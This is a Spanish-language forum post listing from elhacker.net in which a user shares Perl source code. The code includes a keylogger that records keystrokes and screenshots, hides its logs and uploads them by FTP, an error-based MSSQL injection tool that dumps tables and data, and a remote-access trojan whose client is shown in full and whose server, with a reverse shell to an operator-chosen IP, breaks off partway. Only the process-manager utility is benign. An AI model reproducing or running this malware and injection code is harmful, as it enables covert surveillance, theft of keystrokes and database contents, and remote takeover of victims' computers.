elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55
481  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 22:20 pm
ok , me podes recomendar manuales o lo que sea para entender como hacer un codigo en perl realmente identado ?
482  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 22:03 pm
supongo que es cuestion de perspectiva
483  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 18:12 pm
ese es mi estilo , leo.
484  Programación / Scripting / [Perl] Keycagator 0.7 en: 9 Octubre 2011, 17:51 pm
Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.7 (C) Doddy Hackman 2011
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  7. use Win32::Clipboard;
  8. use threads;
  9. use Net::FTP;
  10. use Win32::File;
  11. use Cwd;
  12.  
  13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  14. my $tengo = 0;	
  15.  
  16. if ($^O eq 'MSWin32') {
  17. use Win32::Console; 
  18. Win32::Console::Free();
  19. }
  20.  
  21. hideit($0,"hide");
  22.  
  23. subirftp("logs.txt","logs.txt");
  24.  
  25. my $comando1 = threads->new(\&capture_windows);
  26. my $comando2 = threads->new(\&capture_keys);
  27. my $comando3 = threads->new(\&capture_screen);
  28.  
  29. $comando1->join();
  30. $comando2->join();
  31. $comando3->join();
  32.  
  33.  
  34. sub capture_windows {
  35.  
  36. while(1) {
  37.  
  38. my $win1 = GetForegroundWindow();         
  39. my $win2 = GetForegroundWindow(); 
  40.  
  41. if($win1 != $win2){
  42. my $nombre = GetWindowText($win1); 
  43. chomp($nombre);
  44. if ($nombre ne "") {
  45. #print "\n\n[".$nombre."]\n\n";
  46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  47. }
  48. }
  49. }
  51. }
  52.  
  53. sub capture_keys {
  54.  
  55. while(1) {
  56.  
  57. my $test1;
  58. my $test2;
  59.  
  60. for my $num(0x30..0x39) { #Numbers	
  61.  
  62. if (dame($num)) {
  63. #print "number : ".chr($num)."\n";
  64. savefile("logs.txt",chr($num));
  65. }
  66. }
  67.  
  68. if (dame(0x14)) {
  69. $test1 = 1;
  70. $tengo++;
  71. }
  72.  
  73. for my $num(0x41..0x5A) {	#Words
  74.  
  75. if (dame($num)) {
  76.  
  77. if (dame(0x20)) {
  78. savefile("logs.txt"," ");
  79. }
  80.  
  81. if (dame(0x32)) {
  82. savefile("logs.txt","\n[enter]\n\n");
  83. }
  84.  
  85. unless (verpar($tengo) eq 1) {
  86. #print "MAYUSCULA : ".chr($num)."\n";
  87. savefile("logs.txt",chr($num));
  88. }
  89.  
  90. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  91. #print "MAYUSCULA : ".chr($num)."\n";
  92. $test2 = 1;
  93. }
  94.  
  95. unless ($test1 eq 1 or $test2 eq 1) {
  96. if ($num >= 0x41) {
  97. if ($num <= 0x5A) {
  98. if (verpar($tengo) eq 1) {
  99. #print "MINUSCULA : ".chr($num+32)."\n";
  100. savefile("logs.txt",chr($num+32));
  101. }
  102. }
  103. }
  104. } 
  105. }
  106. }
  107. }
  109. }
  110.  
  111. sub capture_screen {
  112.  
  113. $numero = 0;
  114.  
  115. while(1) {
  116.  
  117. sleep 60;
  118.  
  119. $numero++;
  120.  
  121. SetForegroundWindow(1);
  122. SendKeys('%{PRTSCR}'); 
  123.  
  124. my $a = Win32::Clipboard::GetBitmap();
  125.  
  126. open (FOTO,">".$numero.".bmp");
  127. binmode(FOTO);
  128. print FOTO $a;
  129. close FOTO;
  130.  
  131. hideit($numero.".bmp","hide");
  132. subirftp($numero.".bmp",$numero.".bmp");
  133. }
  134. }
  135.  
  136. sub dame {
  137. return($come->Call(@_) & 1);
  138. }
  139.  
  140. sub savefile {
  141.  
  142. open (SAVE,">>".$_[0]);
  143. print SAVE $_[1];
  144. close SAVE; 
  145.  
  146. hideit($_[0],"hide");
  147.  
  148. }
  149.  
  150. sub hideit {
  151. if ($_[1] eq "show") {
  152. Win32::File::SetAttributes($_[0],NORMAL);
  153. }
  154. elsif ($_[1] eq "hide") {
  155. Win32::File::SetAttributes($_[0],HIDDEN);
  156. }
  157. else {
  158. print "error\n";
  159. }
  160. }
  161.  
  162. sub subirftp {
  163.  
  164. if ($ser = Net::FTP->new("localhost")) {
  165. if ($ser->login("doddy","123")) {
  166. print "subi".getcwd()."/".$_[0]."\n";
  167. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
  168. return true;
  169. }
  170. }
  171. $ser->close;
  172. }
  173.  
  174.  
  175. }
  176.  
  177. sub verpar{ 
  178. return ($_[0] % 2 == 0) ? "1" : "2";
  179. }
  180.  
  181.  
  182. #Credits : to explorer for helpme with the function verpar()
  183. #Mail : lepuke[at]hotmail[com]
  184. #Blog : doddy-hackman.blogspot.com
  185. # ¿ The End ? 
  186.  
485  Programación / Scripting / [Perl] KeyCagator 0.4 en: 9 Octubre 2011, 17:50 pm
Bueno , este es un keylogger en perl que hice con las siguientes opciones

* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando

Pocas opciones pero mejor la version anterior

Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.4 (C) Doddy Hackman 2010
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText);
  7.  
  8. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  9. my $tengo = 0;	
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console; 
  13. Win32::Console::Free();
  14. }
  15.  
  16. while (true) {
  17.  
  18. capture_windows();
  19. capture_keys();
  20.  
  21. }
  22.  
  23. sub capture_windows {
  24.  
  25. my $win1 = GetForegroundWindow();         
  26. my $win2 = GetForegroundWindow(); 
  27.  
  28. if($win1 != $win2){
  29. my $nombre = GetWindowText($win1); 
  30. chomp($nombre);
  31. if ($nombre ne "") {
  32. #print "\n\n[".$nombre."]\n\n";
  33. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  34. }
  35. }
  36.  
  37. }
  38.  
  39. sub capture_keys {
  40.  
  41. my $test1;
  42. my $test2;
  43.  
  44.  
  45. capture_windows();
  46.  
  47. for my $num(0x30..0x39) { #Numbers	
  48.  
  49. capture_windows();
  50.  
  51. if (dame($num)) {
  52. #print "number : ".chr($num)."\n";
  53. savefile("logs.txt",chr($num));
  54. }
  55. }
  56.  
  57. if (dame(0x14)) {
  58. $test1 = 1;
  59. $tengo++;
  60. }
  61.  
  62. for my $num(0x41..0x5A) {	#Words
  63.  
  64.  
  65. capture_windows();
  66.  
  67. if (dame($num)) {
  68.  
  69.  
  70. if (dame(0x0d)) {
  71. savefile("logs.txt","\n\n[enter]\n\n");
  72. }
  73.  
  74. unless (verpar($tengo) eq 1) {
  75. #print "MAYUSCULA : ".chr($num)."\n";
  76. savefile("logs.txt",chr($num));
  77. }
  78.  
  79. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  80. #print "MAYUSCULA : ".chr($num)."\n";
  81. $test2 = 1;
  82. }
  83.  
  84. unless ($test1 eq 1 or $test2 eq 1) {
  85. if ($num >= 0x41) {
  86. if ($num <= 0x5A) {
  87. if (verpar($tengo) eq 1) {
  88. #print "MINUSCULA : ".chr($num+32)."\n";
  89. savefile("logs.txt",chr($num+32));
  90. }
  91. }
  92. }
  93. } 
  94. }
  95. }
  96.  
  97. }
  98.  
  99. sub dame {
  100. return($come->Call(@_) & 1);
  101. }
  102.  
  103. sub savefile {
  104. open (SAVE,">>".$_[0]);
  105. print SAVE $_[1];
  106. close SAVE; 
  107. }
  108.  
  109. sub verpar{ 
  110. return ($_[0] % 2 == 0) ? "1" : "2";
  111. }
  112.  
  113.  
  114. #Credits : to explorer for helpme with the function verpar()
  115. #Mail : lepuke[at]hotmail[com]
  116. #Blog : doddy-hackman.blogspot.com
  117. # ¿ The End ? 
  118.  
486  Programación / Scripting / [Perl] Manager en: 9 Octubre 2011, 17:50 pm
Bueno , aca les traigo un programa que los ayudara a listar todos los
procesos y cerrar el que quieran
En esta version podran tener una interfaz grafica

Código
  1. #!usr/bin/perl
  2. #Manager (C) Doddy Hackman 2010
  3. #Module neccesary
  4. #ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd 
  5.  
  6. use Win32::Process::List;
  7. use Win32::Process;
  8. use Tk;
  9.  
  10. if ($^O eq 'MSWin32') {
  11. use Win32::Console; 
  12. Win32::Console::Free();
  13. }
  14.  
  15. $new = MainWindow->new(-background=>"black");
  16. $new->geometry("250x300+20+20");
  17. $new->resizable(0,0);
  18. $new->title("Manager 0.1");
  19. $new->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"Process")->pack();
  20. my $lists = $new->Listbox(-background=>"black",-foreground=>"green")->place(-y=>"50",-x=>"60");
  21. $new->Button(-background=>"black",-foreground=>"green",-text=>"Close",-activebackground=>"green",-width=>"40",-command=>\&close)->place(-y=>"218");
  22. $new->Button(-background=>"black",-foreground=>"green",-text=>"Refresh",-width=>"40",-activebackground=>"green",-command=>\&refresh)->place(-y=>"240");
  23. $new->Button(-background=>"black",-foreground=>"green",-text=>"About",-width=>"40",-activebackground=>"green",-command=>\&about)->place(-y=>"263");	
  24.  
  25. &refresh;
  26.  
  27. MainLoop;
  28.  
  29.  
  30. sub refresh {
  31.  
  32. my @pids;
  33. my @procer;
  34. my $limit;
  35.  
  36. $lists->delete(0.0,"end");
  37.  
  38. my $new = Win32::Process::List->new();  
  39. my %process = $new->GetProcesses();
  40. my $limit = -1;
  41. for my $pid (keys %process) {
  42. $limit++;
  43. push (@procer,$process{$pid});
  44. push (@pids,$pid);
  45. }
  46. print "\n\n[+] ".int(@procer)."\n\n";
  47. for my $n(0..$limit) {
  48. print $procer[$n]."\n";
  49. $lists->insert("end",$procer[$n]);
  50. }
  51.  
  52.  
  53. }
  54.  
  55. sub close {
  56.  
  57. $d = $lists->curselection();
  58.  
  59. for my $id (@$d) {
  60.  
  61. my $proceso = $lists->get($id);
  62.  
  63. my $pida = Win32::Process::List->new();
  64. my @pid = $pida->GetProcessPid($proceso);
  65.  
  66. Win32::Process::KillProcess(@pid[1],$proceso);
  68. &refresh();
  69. }
  70. }
  71.  
  72.  
  73.  
  74. sub about {
  75. $about = MainWindow->new(-background=>"black");
  76. $about->title("About");
  77. $about->geometry("150x100+20+20");
  78. $about->resizable(0,0);
  79. $about->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"Coded By Doddy H")->pack();
  80. $about->Label(-background=>"black",-foreground=>"green")->pack();
  81. $about->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"2011")->pack();
  82. }
  83.  
  84.  
  85.  
  86. # ¿ The End ? 
  87.  
  88.  
487  Programación / Scripting / [Perl] MSSQL T00l en: 9 Octubre 2011, 17:47 pm
Bueno , aca les traigo una tool en perl para
buscar tablas y columnas con information_schema en MSSQL
Tambien pueden sacar los valores que quieren de las columnas.

Código
  1. #!usr/bin/perl
  2. #MSSQL T00l
  3. #(C) Doddy Hackman 2011
  4.  
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8.  
  9. my $nave = LWP::UserAgent->new();
  10. $nave->timeout(13);
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12.  
  13. sub head {
  15.  
  16.  @@    @@   @@@@  @@@@   @@@    @@     @@@@@@  @@@      @@@    @@  
  17.  @@@  @@@  @@  @ @@  @  @@@@@   @@       @@   @@@@@    @@@@@   @@  
  18.  @@@  @@@  @@    @@    @@   @@  @@       @@  @@   @@  @@   @@  @@  
  19. @@@@@@@@@@  @@@   @@@  @@   @@  @@       @@  @@   @@  @@   @@  @@  
  20. @@ @@@@ @@    @@    @@ @@ @@@@  @@       @@  @@   @@  @@   @@  @@  
  21. @@  @@  @@ @  @@ @  @@  @@@@@   @@       @@   @@@@@    @@@@@   @@  
  22. @@  @@  @@ @@@@  @@@@    @@@@@  @@@@     @@    @@@      @@@    @@@@
  23.  
  24.  
  25.  
  26. );
  27. }
  28.  
  29. sub copyright {
  30. print "\n\n(C) Doddy Hackman 2011\n\n";
  31. <stdin>;
  32. exit(1);
  33. }
  34.  
  35. repe();
  36.  
  37. sub repe {
  38.  
  39. system("cls");
  40.  
  41.  
  42. head();
  43.  
  44.  
  45. print "\n\n[Page] : ";
  46. chomp(my $page=<stdin>);
  47.  
  48. $code = toma($page);
  49.  
  50. if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) {
  51. print "\n\n[+] The page is vulnerable to MSSQL Injection\n\n";
  52. } else {
  53. print "\n\n[-] Not vulnerable\n\n";
  54. #copyright();
  55. }
  56.  
  57. menu:
  58.  
  60.  
  61. ##################################
  62.  
  63. 1 - Dump tables
  64. 2 - Dump Columns of the a table
  65. 3 - Dump values
  66. 4 - Change target
  67. 5 - Exit
  68.  
  69. ##################################
  70.  
  71.  
  72. );
  73.  
  74. print "[Opcion] : ";
  75. chomp(my $op=<stdin>);
  76.  
  77. if ($op eq 1) {
  78. print "\n\n[*] Dumping tables...\n\n";
  79. mssql_tables($page);
  80. goto menu;
  81. }
  82. elsif ($op eq 2) {
  83. print "\n\n[Table] : ";
  84. chomp (my $tab = <stdin>);
  85. print "\n\n[*] Dumping columns..\n\n";
  86. mssql_columns($page,$tab);
  87. goto menu;
  88. }
  89. elsif($op eq 3) {
  90. print "\n\n[Table] : ";
  91. chomp (my $tab=<stdin>);
  92. print "\n\n[Column] : ";
  93. chomp(my $col=<stdin>);
  94. print "\n\n[*] Dumping values..\n\n";
  95. mssql_data($page,$tab,$col);
  96. goto menu;
  97. }
  98. elsif ($op eq 4) {
  99. repe();
  100. }
  101. elsif ($op eq 5) {
  102. copyright();
  103. }
  104. else {
  105. goto menu;
  106. } 
  107.  
  108. #@tables = mssql_tables("http://www.12manage.com/profile.asp?m=drarupbarman'","Users");
  109.  
  110.  
  111. sub mssql_columns {
  112. ($pass1,$pass2) =  bypass("--");
  113. my $sir;
  114. for (1..666) {
  115. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$_[1]."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  116. $code = toma($_[0].$path);
  117. if ($code=~/value '(.*?)' to/ig) {
  118. $sir.= ",'".$1."'";
  119. print "[Column found : $1]\n";
  120. } else {
  121. print "\n\n[+] Finish\n";
  122. last;
  123. }
  124. }
  125. }
  126.  
  127. sub mssql_tables {
  128. ($pass1,$pass2) =  bypass("--");
  129. my $sir;
  130. for (1..666) {
  131. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  132. #print "$path\n";
  133. $code = toma($_[0].$path);
  134. if ($code=~/value '(.*?)' to/ig) {
  135. $sir.= ",'".$1."'";
  136. print "[Table found : $1]\n";
  137. } else {
  138. print "\n\n[+] Finish\n";
  139. last;
  140. }
  141. }
  142. }
  143.  
  144. sub mssql_data {
  145. ($pass1,$pass2) =  bypass("--");
  146. my $sir;
  147. for (1..666) {
  148. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$_[2].$pass1."from".$pass1.$_[1].$pass1."where".$pass1.$_[2].$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  149. #print "$path\n";
  150. $code = toma($_[0].$path);
  151. if ($code=~/value '(.*?)' to/ig) {
  152. $sir.= ",'".$1."'";
  153. print "[Data found : $1]\n";
  154. } else {
  155. print "\n\n[+] Finish\n";
  156. last;
  157. }
  158. }
  159. }
  160. }
  161.  
  162. sub bypass {
  163. if ($_[0] eq "/*") { return ("/**/","/*"); }
  164. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  165. else {return ("+","--");}}
  166.  
  167.  
  168. sub toma {
  169. return $nave->request(GET $_[0])->content;
  170. }
  171.  
  172.  
  173. # ¿ The End ?
488  Programación / Scripting / [Perl] Troyano Nefaster en: 9 Octubre 2011, 17:47 pm
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


El codigo del cliente es este


Código
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. system 'cls';
  13.  
  15.  
  16.  
  17.             E      F                   TT    E        
  18. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR 
  19.  NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR 
  20.  NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R 
  21.  NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  22.  NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  23.  NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R 
  24. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  25.                             SS                 R   R  
  26.  
  27.  
  28.  
  29. );
  30.  
  31. }
  32.  
  33. sub menu {
  34.  
  35. &head;
  36.  
  37. print "[Target] : ";
  38. chomp(my $ip = <STDIN>);
  39.  
  40.  
  41.  
  42. my $socket = new IO::Socket::INET( 
  43. PeerAddr => $ip,
  44. PeerPort => 666,
  45. Proto => 'tcp',
  46. Timeout  => 5
  47. );
  48.  
  49. if ($socket) {
  50. $socket->close;
  51. &menuo($ip);
  52. } else {
  53. print "\n\n[-] Target no infectado\n";
  54. <STDIN>;
  55. &menu; 
  56. }
  57.  
  58. }
  59.  
  60. sub menuo {
  61.  
  62. &head;
  63.  
  64. print "[$_[0]] : Servidor Activado\n\n";
  66. 1 : Informacion
  67. 2 : Navegador
  68. 3 : Abrir CD
  69. 4 : Cerrar CD
  70. 5 : Puertos abiertos
  71. 6 : Mensaje
  72. 7 : CMD
  73. 8 : Esconder barra de tareas
  74. 9 : Devolver barra de tareas
  75. 10 : Esconder iconos
  76. 11 : Devolver iconos
  77. 12 : Administrar procesos
  78. 13 : Reverse Shell
  79. 14 : Cambiar IP
  80. 15 : Salir
  81.  
  82.  
  83. );
  84. print "[Opcion] : ";
  85. chomp(my $opcion = <STDIN>);
  86.  
  87.  
  88. if ($opcion eq 1) {
  89. print "\n\n[+] Informacion\n\n";
  90. $re = daryrecibir($_[0],"infor");
  91. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  92. print "[Dominio] : $1\n";
  93. print "[Chip] : $2\n";	
  94. print "[Version] : $3\n";	
  95. print "[Nombre] : $4\n";	
  96. print "[OS] : $5\n";
  97. <stdin>;
  98. } 
  99. &menuo($_[0]);
  100. } 
  101. elsif ($opcion eq 2) {
  102.  
  103. menu1:
  104. print "\n\n[+] Navegacion de archivos\n\n";
  105. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  106. print "tengo $cwd\n";
  107. show($_[0],"/");
  108. &menu2;
  109.  
  110. sub menu2 {
  111. print "\n\n[Opciones]\n\n";
  112. print "1 - Cambiar directorio\n";
  113. print "2 - Crear archivo\n";
  114. print "3 - Borrar archivo\n";
  115. print "4 - Borrar directorio\n";
  116. print "5 - Reproducir musica\n";
  117. print "6 - Parar reproduccion\n";
  118. print "7 - Volver al menu inicial\n\n";
  119. print "[Opcion] : ";
  120. chomp(my $op = <stdin>);
  121.  
  122. if ($op eq 1) {
  123. print "\n\n[+] Directorio : ";
  124. chomp (my $dir=<stdin>);
  125. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  126. if ($ver=~/ok/ig) {
  127. print "\n\n[+] Directory changed\n\n";
  128. }
  129. show($_[0],$dir);
  130. &menu2;
  131. <stdin>;
  132. }
  133.  
  134. elsif ($op eq 2) {
  135.  
  136. print "\n\n[Nombre] : ";
  137. chomp(my $name = <stdin>);
  138. print "\n\n[Contenido] : ";
  139. chomp(my $code = <stdin>);
  140.  
  141. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  142.  
  143. print "\n\n[+] Archivo creado \n\n";
  144. <stdin>;
  145. }
  146. elsif ($op eq 3) {
  147. print "\n\n[Archivo a borrar] : ";
  148. chomp(my $file = <stdin>);
  149. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  150. if ($re=~/ok/) {
  151. print "\n\n[+] Archivo Borrado\n\n";
  152. } else {
  153. print "\n\n[-] Error\n\n";
  154. }
  155. <stdin>;
  156. }
  157.  
  158. elsif ($op eq 4) {
  159. print "\n\n[Directorio a borrar] : ";
  160. chomp(my $file = <stdin>);
  161. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  162. if ($re=~/ok/) {
  163. print "\n\n[+] Directorio Borrado\n\n";
  164. } else {
  165. print "\n\n[-] Error\n\n";
  166. }
  167. <stdin>;
  168. }
  169.  
  170. elsif ($op eq 5) {
  171. print "\n\n[Archivo] : ";
  172. chomp(my $file = <stdin>);
  173. print "\n\n[+] Reproduciendo\n\n";
  174. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  175. <stdin>;
  176. }
  177. elsif ($op eq 6) {
  178. print "\n\n[+] Reproduccion detenida\n\n";
  179. daryrecibir($_[0],"pararmusic");
  180. <stdin>;
  181. }
  182. elsif ($op eq 7) {
  183. &menuo($_[0]);
  184. }
  185. else {
  186. show($_[0],"/");
  187. }
  188. goto menu1;
  189. }
  190. }
  191.  
  192. elsif ($opcion eq 3) {
  193. daryrecibir($_[0],"opencd");
  194. &menuo($_[0]);
  195. }
  196.  
  197. elsif ($opcion eq 4) {
  198. daryrecibir($_[0],"closedcd");
  199. &menuo($_[0]);
  200. }
  201.  
  202. elsif ($opcion eq 5) {
  203. print "\n[Puertos Abiertos]\n\n";
  204. $re = daryrecibir($_[0],"porters");
  205. while ($re=~/:(.*?):/ig) {
  206. if ($1 ne "") {
  207. print "[+] $1\n";
  208. }
  209. }
  210. <stdin>;
  211. &menuo($_[0]);
  212. }
  213. elsif ($opcion eq 6) {
  214. print "\n[Mensaje] : ";
  215. chomp (my $msg = <stdin>);
  216. daryrecibir($_[0],"msgbox $msg");
  217. <stdin>;
  218. &menuo($_[0]);
  219. } 
  220. elsif ($opcion eq 7) {
  221.  
  222. menu:
  223.  
  224. my $cmd,$re;
  225.  
  226. print "\n\n>";
  227.  
  228. chomp(my $cmd= <stdin>);
  229.  
  230. if ($cmd=~/exit/ig) {
  231. &menuo($_[0]);
  232. }
  233.  
  234. $re = daryrecibir($_[0],"comando :$cmd:");
  235. print "\n".$re;
  236. goto menu;
  237. &menuo($_[0]);
  238. }
  239. elsif ($opcion eq 8) {
  240. daryrecibir($_[0],"iniciochau");
  241. &menuo($_[0]);
  242. }
  243. elsif ($opcion eq 9) {
  244. daryrecibir($_[0],"iniciovuelve");
  245. &menuo($_[0]);
  246. }
  247. elsif ($opcion eq 10) {
  248. daryrecibir($_[0],"iconochau");
  249. &menuo($_[0]);
  250. }
  251. elsif ($opcion eq 11) {
  252. daryrecibir($_[0],"iconovuelve");
  253. &menuo($_[0]);
  254. }
  255.  
  256. elsif ($opcion eq 12) {
  257.  
  258. &reload($_[0]);
  259.  
  260. sub reload {
  261.  
  262. my @pro;
  263. my @pids;
  264.  
  265. my $sockex = new IO::Socket::INET( 
  266. PeerAddr => $_[0],
  267. PeerPort => 666,
  268. Proto => 'tcp',
  269. Timeout  => 5
  270. );
  271.  
  272. print $sockex "mostrarpro"."\r\n";
  273. $sockex->read($re,5000);
  274. $sockex->close;
  275.  
  276. chomp $re;
  277.  
  278. print "\n\n[+] Procesos encontrados\n\n";
  279.  
  280. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  281. if ($1 ne "") {
  282. push(@pro,$1);
  283. }
  284. }
  285.  
  286. while ($re=~/PIDX(.*?)PIDX/ig) {
  287. if ($1 ne "") {
  288. push(@pids,$1);
  289. }
  290. }
  291.  
  292. $cantidad = int(@pro);
  293.  
  294. for my $num(1..$cantidad) {
  295. if ($pro[$num] ne "") {
  296. print "\n[+] Proceso : ".$pro[$num]."\n";
  297. print "[+] PIDS : ".$pids[$num]."\n"; 
  298. }
  299. }
  300.  
  302.  
  303. [Opciones]
  304.  
  305.  
  306. 1 - Refrescar lista
  307. 2 - Cerrar procesos
  308. 3 - Volver al menu
  309.  
  310. );
  311.  
  312. print "\n[Opcion] :  ";
  313. chomp(my $opc = <stdin>);
  314.  
  315. if ($opc=~/1/ig) {
  316. &reload($_[0]);
  317. }
  318. elsif($opc=~/2/ig) {
  319. print "\n[+] Write the name of the process : ";
  320. chomp(my $numb = <stdin>);
  321. print "\n[+] Write the PID of the process : ";
  322. chomp(my $pid = <stdin>);
  323. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  324. if ($re=~/ok/ig) {
  325. print "\n\n[+] Proceso cerrado\n\n";
  326. } else {
  327. print "\n\n[-] Error\n\n";
  328. }
  329. <stdin>;
  330. &reload($_[0]);
  331. }
  332. elsif($opc=~/3/ig) {
  333. &menuo($_[0]);
  334. }
  335. else {
  336. &reload;
  337. }
  338. }
  339. }
  340.  
  341. elsif ($opcion eq 13) {
  342. print "\n\n[IP] : ";
  343. chomp(my $ip = <stdin>);
  344. print "\n\n[Port] : ";
  345. chomp(my $port = <stdin>);
  346. print "\n\n[+] Connected !!!\n\n";
  347. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  348. }
  349. elsif ($opcion eq 14) {
  350. &menu;
  351. }
  352. elsif ($opcion eq 15) {
  353. exit 1;
  354. }	
  355. else {
  356. &menuo;
  357. }
  358. }
  359.  
  360. sub daryrecibir {
  361.  
  362. my $sockex = new IO::Socket::INET( 
  363. PeerAddr => $_[0],
  364. PeerPort => 666,
  365. Proto => 'tcp',
  366. Timeout  => 5
  367. );
  368.  
  369. print $sockex $_[1]."\r\n";
  370. $sockex->read($re,5000);
  371. $sockex->close;
  372. return $re."\r";
  373. }
  374.  
  375. sub show {
  376.  
  377. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  378. print "\n\n[+] Directorio Actual : $re\n\n";
  379. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  380. print "\n\n[Directorios]\n\n";
  381.  
  382. while ($re1=~/DIREX(.*?)DIREX/ig) {
  383. if ($1 ne "") {
  384. print "[+] $1\n";
  385. }
  386. }
  387.  
  388. print "\n\n[Archivos]\n\n";
  389.  
  390. while ($re1=~/FILEX(.*?)FILEX/ig) {
  391. if ($1 ne "") {
  392. print "[+] $1\n";
  393. }
  394. }
  395.  
  396. }
  397.  
  398. #
  399. # ¿ The End ? 
  400. #
  401.  

Y el server

Código
  1. #!/usr/bin/perl
  2. #Nefester (sERVidor) 0.1 By Doddy H
  3. #Compilar con perl2exe para sacar consola
  4.  
  5. use IO::Socket;
  6. use Socket;
  7. use Win32;
  8. use Cwd;
  9. use Win32::MediaPlayer;
  10. use Win32::Process::List;
  11. use Win32::Process;
  12. use Win32::API;
  13.  
  14. use constant SW_HIDE => 0;
  15. use constant SW_SHOWNORMAL => 1;
  16.  
  17. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  18. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  19.  
  20. $test = new Win32::MediaPlayer;
  21.  
  22. my $sock = IO::Socket::INET->new(LocalPort => 666,
  23. Listen => 10,
  24. Proto => 'tcp',
  25. Reuse => 1); 
  26.  
  27. print "online\n";
  28.  
  29. while (my $con = $sock->accept){
  30. $resultado = <$con>;
  31. print "boludo mando : $resultado\n";
  32.  
  33. if ($resultado=~/msgbox (.*)/ig) {
  34. Win32::MsgBox($1,0,"Mensaje de Dios") 
  35. }
  36.  
  37. if ($resultado=~/backshell :(.*):(.*):/ig) {
  38.  
  39. my ($ip,$port) = ($1,$2);
  40.  
  41. print "conectando $ip con $port\n";
  42.  
  43. $ip =~s/(\s)+$//;
  44. $port =~s/(\s)+$//;
  45.  
  46. conectar($ip,$port);
  47. tipo();
  48.  
  49. sub conectar {
  50. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
